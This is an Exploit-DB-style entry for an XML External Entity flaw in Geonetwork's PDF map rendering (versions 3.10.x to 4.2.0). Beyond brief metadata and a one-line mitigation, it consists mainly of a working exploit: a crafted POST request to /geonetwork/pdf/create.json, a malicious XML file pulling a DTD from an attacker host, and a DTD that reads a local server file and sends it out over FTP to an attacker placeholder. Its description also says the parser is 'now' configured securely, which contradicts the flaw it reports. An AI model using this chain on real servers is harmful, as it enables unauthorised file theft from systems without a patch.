Geonetwork 4.2.0 - XML External Entity (XXE)

vendor:

Geonetwork

by:

Amel BOUZIANE-LEBLOND

8.8

CVSS

HIGH

XML External Entity (XXE)

611

CWE

Product Name: Geonetwork

Affected Version From: Geonetwork 3.10.X

Affected Version To: Geonetwork 4.2.0

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Microsoft Windows Server & Linux

2022

Geonetwork 4.2.0 – XML External Entity (XXE)

GeoNetwork 3.1.x through 4.2.0 is vulnerable to XML External Entity (XXE) attack during rendering pdf of map. The XML parser is not configured securely to validate submitted XML document accepted from an untrusted source, which might result in arbitrary files retrieval from the server.

Mitigation:

Ensure that XML parsers are configured securely to validate submitted XML documents accepted from an untrusted source.

Source

Exploit-DB raw data:

# Exploit Title: Geonetwork 4.2.0 - XML External Entity (XXE)
# Date: 2022-July-11
# Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb)
# Vendor Homepage: https://geonetwork-opensource.org/
# Version: Geonetwork 3.10.X through 4.2.0
# Tested on: Microsoft Windows Server & Linux

# Description:
# GeoNetwork 3.1.x through 4.2.0
# During rendering pdf of map.
# The XML parser is now configured securely to validate submitted XML document accepted from an untrusted source, which might result in arbitrary files retrieval from the server.

====================PDF RENDERING==================== 

POST /geonetwork/pdf/create.json HTTP/1.1
Host: REDACTED
Content-Type: application/json
Connection: close
Content-Length: 563

{"layout":"landscape","srs":"","units":"m","rotation":0,"lang":"fre","dpi":"190","outputFormat":"pdf","layers":[{"opacity":1,"type":"mapServer","baseURL":"http://attacker/xxe.xml","layers":["Tracts",],

"format":"image/svg+xml","name":"xxe","extent":[-20037508.34,-20037508.34,20037508.34,

20037508.34],

"tileSize":[256,256]}],"enableLegends":true,"hasTitle":true,"hasNoTitle":false,"hasAttribution":false,"pages":[{"center":[172063.3620639667,4200083.030736061],"scale":"2.5E7","dataOwner":"© ","rotation":0,"comment":"ok","title":"ok","langfre":true}]}


The parameters baseURL will be your XML files : 

====================XXE_ATTACK==================== 

====================XXE.XML=======================

<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://ATTACKER/x.dtd"> %pe; %param1; ]>
<foo>&external;</foo>

====================X.dtd=========================
They will call the x.dtd

<!ENTITY % stuff SYSTEM "file:///etc/hostname">
<!ENTITY % param1 "<!ENTITY external SYSTEM 'ftp://ATTACKER_FTP/%stuff;'>">